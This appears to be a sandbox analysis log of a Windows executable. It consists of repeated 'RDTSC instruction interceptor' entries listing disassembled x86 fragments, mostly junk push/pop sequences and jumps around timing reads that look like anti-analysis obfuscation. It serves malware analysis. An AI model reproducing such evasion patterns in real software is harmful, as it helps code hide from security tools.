Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED03FC second address: 4ED042F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4593h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [eax], 00000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6928EA4595h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED042F second address: 4ED0464 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax+04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6928B6AE88h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0464 second address: 4ED0473 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0473 second address: 4ED049A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov cx, di 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB06C7 second address: 4EB06E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4597h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB06E2 second address: 4EB0723 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 2B8Ah 0x00000007 call 00007F6928B6AE7Bh 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F6928B6AE86h 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jmp 00007F6928B6AE7Dh 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0723 second address: 4EB074B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c jmp 00007F6928EA4595h 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB074B second address: 4EB074F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB074F second address: 4EB0755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0184 second address: 4ED0193 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0193 second address: 4ED0199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0199 second address: 4ED01BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6928B6AE80h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01BF second address: 4ED01C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01C3 second address: 4ED01C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01C9 second address: 4ED01EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6928EA458Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01EC second address: 4ED01FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6928B6AE7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01FE second address: 4ED0202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0202 second address: 4ED0256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6928B6AE87h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F6928B6AE84h 0x00000017 sbb cl, 00000078h 0x0000001a jmp 00007F6928B6AE7Bh 0x0000001f popfd 0x00000020 pushad 0x00000021 mov ax, 4145h 0x00000025 popad 0x00000026 popad 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0256 second address: 4ED0260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 50ED05B5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF05E6 second address: 4EF05F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c mov esi, 1ED4721Dh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF05F8 second address: 4EF05FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF05FE second address: 4EF0602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0602 second address: 4EF0636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6928EA4591h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dx, B53Eh 0x00000017 call 00007F6928EA458Fh 0x0000001c pop esi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0636 second address: 4EF06A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6928B6AE84h 0x00000008 pop esi 0x00000009 mov edi, 062F6F76h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 mov ax, 406Fh 0x00000017 pushfd 0x00000018 jmp 00007F6928B6AE84h 0x0000001d and ecx, 34D7BC98h 0x00000023 jmp 00007F6928B6AE7Bh 0x00000028 popfd 0x00000029 popad 0x0000002a mov dword ptr [esp], ecx 0x0000002d pushad 0x0000002e call 00007F6928B6AE84h 0x00000033 pop edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF06A1 second address: 4EF06CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [76FB65FCh] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6928EA4597h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF06CE second address: 4EF0739 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6928B6AE7Fh 0x00000009 and al, 0000001Eh 0x0000000c jmp 00007F6928B6AE89h 0x00000011 popfd 0x00000012 mov edi, ecx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test eax, eax 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F6928B6AE88h 0x00000020 jmp 00007F6928B6AE85h 0x00000025 popfd 0x00000026 push eax 0x00000027 push edx 0x00000028 mov dl, al 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0739 second address: 4EF0767 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F699AEE77ACh 0x0000000d jmp 00007F6928EA4595h 0x00000012 mov ecx, eax 0x00000014 pushad 0x00000015 push esi 0x00000016 movsx edx, cx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c mov bh, 53h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0767 second address: 4EF07E1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6928B6AE7Ch 0x00000008 sub esi, 1BF9D538h 0x0000000e jmp 00007F6928B6AE7Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xor eax, dword ptr [ebp+08h] 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F6928B6AE85h 0x00000021 sub cx, 2BD6h 0x00000026 jmp 00007F6928B6AE81h 0x0000002b popfd 0x0000002c mov edi, esi 0x0000002e popad 0x0000002f and ecx, 1Fh 0x00000032 pushad 0x00000033 jmp 00007F6928B6AE88h 0x00000038 push eax 0x00000039 push edx 0x0000003a mov cx, E927h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF07E1 second address: 4EF07FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a ror eax, cl 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movzx eax, bx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF07FB second address: 4EF0810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6928B6AE81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0810 second address: 4EF0849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c jmp 00007F6928EA458Eh 0x00000011 retn 0004h 0x00000014 nop 0x00000015 mov esi, eax 0x00000017 lea eax, dword ptr [ebp-08h] 0x0000001a xor esi, dword ptr [00422014h] 0x00000020 push eax 0x00000021 push eax 0x00000022 push eax 0x00000023 lea eax, dword ptr [ebp-10h] 0x00000026 push eax 0x00000027 call 00007F692D9B4CFFh 0x0000002c push FFFFFFFEh 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F6928EA458Ah 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0849 second address: 4EF084F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF084F second address: 4EF0855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0855 second address: 4EF08A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jmp 00007F6928B6AE80h 0x00000011 ret 0x00000012 nop 0x00000013 push eax 0x00000014 call 00007F692D67B634h 0x00000019 mov edi, edi 0x0000001b jmp 00007F6928B6AE80h 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 mov dx, cx 0x00000025 push eax 0x00000026 push edx 0x00000027 mov ah, 17h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08A0 second address: 4EF08C0 instructions: 0x00000000 rdtsc 0x00000002 mov bx, E838h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007F6928EA458Eh 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08C0 second address: 4EF08C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08C5 second address: 4EF08CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08CB second address: 4EF08CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08CF second address: 4EF08ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, 5729A3BAh 0x00000012 jmp 00007F6928EA458Bh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0069 second address: 4EA00A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6928B6AE81h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov edi, 2C5EFA5Eh 0x00000018 mov cx, di 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA00A5 second address: 4EA00C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6928EA4597h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA00C0 second address: 4EA00C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA00C4 second address: 4EA00E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6928EA4597h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA00E9 second address: 4EA00EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA00EF second address: 4EA00F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA00F5 second address: 4EA013D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e pushad 0x0000000f mov ebx, eax 0x00000011 mov cx, 4439h 0x00000015 popad 0x00000016 xchg eax, ecx 0x00000017 jmp 00007F6928B6AE84h 0x0000001c push eax 0x0000001d jmp 00007F6928B6AE7Bh 0x00000022 xchg eax, ecx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 mov si, 4C51h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA013D second address: 4EA01E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, 4D58EBC1h 0x0000000e popad 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 mov ecx, 4F8E51F9h 0x00000016 mov ebx, ecx 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b push ebx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ecx 0x0000001f mov esi, edi 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 jmp 00007F6928EA4595h 0x00000028 mov ebx, dword ptr [ebp+10h] 0x0000002b jmp 00007F6928EA458Eh 0x00000030 xchg eax, esi 0x00000031 jmp 00007F6928EA4590h 0x00000036 push eax 0x00000037 jmp 00007F6928EA458Bh 0x0000003c xchg eax, esi 0x0000003d pushad 0x0000003e mov eax, 003C546Bh 0x00000043 mov ax, CC47h 0x00000047 popad 0x00000048 mov esi, dword ptr [ebp+08h] 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e jmp 00007F6928EA458Fh 0x00000053 call 00007F6928EA4598h 0x00000058 pop eax 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA01E7 second address: 4EA0252 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 movzx esi, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007F6928B6AE82h 0x00000011 mov dword ptr [esp], edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F6928B6AE7Dh 0x0000001d sub esi, 7A9D27A6h 0x00000023 jmp 00007F6928B6AE81h 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007F6928B6AE80h 0x0000002f add ah, 00000048h 0x00000032 jmp 00007F6928B6AE7Bh 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0252 second address: 4EA0257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0257 second address: 4EA02C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 3078h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e jmp 00007F6928B6AE7Dh 0x00000013 pushfd 0x00000014 jmp 00007F6928B6AE80h 0x00000019 and al, FFFFFFD8h 0x0000001c jmp 00007F6928B6AE7Bh 0x00000021 popfd 0x00000022 popad 0x00000023 je 00007F699ABF91F8h 0x00000029 jmp 00007F6928B6AE86h 0x0000002e cmp dword ptr [esi+08h], DDEEDDEEh 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F6928B6AE7Ah 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA02C4 second address: 4EA02C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA02C8 second address: 4EA02CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA02CE second address: 4EA02DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6928EA458Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA02DF second address: 4EA02F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F699ABF91BAh 0x0000000e pushad 0x0000000f mov bh, 1Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA02F4 second address: 4EA0304 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov edx, dword ptr [esi+44h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0304 second address: 4EA0319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0319 second address: 4EA037E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d pushad 0x0000000e mov eax, 2E295DE9h 0x00000013 mov bh, ah 0x00000015 popad 0x00000016 mov edi, 507F1946h 0x0000001b popad 0x0000001c test edx, 61000000h 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F6928EA4593h 0x00000029 jmp 00007F6928EA4593h 0x0000002e popfd 0x0000002f mov ch, 79h 0x00000031 popad 0x00000032 jne 00007F699AF3289Bh 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA037E second address: 4EA03A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F6928B6AE7Ah 0x0000000a xor ecx, 4F943848h 0x00000010 jmp 00007F6928B6AE7Bh 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA03A0 second address: 4EA03A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA03A6 second address: 4EA03AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA03AA second address: 4EA0405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [esi+48h], 00000001h 0x0000000c jmp 00007F6928EA4597h 0x00000011 jne 00007F699AF3285Ah 0x00000017 jmp 00007F6928EA4596h 0x0000001c test bl, 00000007h 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F6928EA4597h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90826 second address: 4E9083E instructions: 0x00000000 rdtsc 0x00000002 mov bh, B0h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6928B6AE7Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9083E second address: 4E90874 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6928EA4596h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6928EA458Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90874 second address: 4E9087A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9087A second address: 4E90895 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90895 second address: 4E908B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E908B2 second address: 4E908B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E908B7 second address: 4E908BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E908BD second address: 4E9092F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ecx 0x0000000a pushfd 0x0000000b jmp 00007F6928EA458Bh 0x00000010 sbb esi, 4D2178FEh 0x00000016 jmp 00007F6928EA4599h 0x0000001b popfd 0x0000001c pop eax 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F6928EA4597h 0x00000024 sbb ecx, 02EC0B0Eh 0x0000002a jmp 00007F6928EA4599h 0x0000002f popfd 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9092F second address: 4E9094D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6928B6AE83h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9094D second address: 4E90996 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6928EA458Fh 0x00000009 jmp 00007F6928EA4593h 0x0000000e popfd 0x0000000f jmp 00007F6928EA4598h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b movzx ecx, di 0x0000001e rdtsc
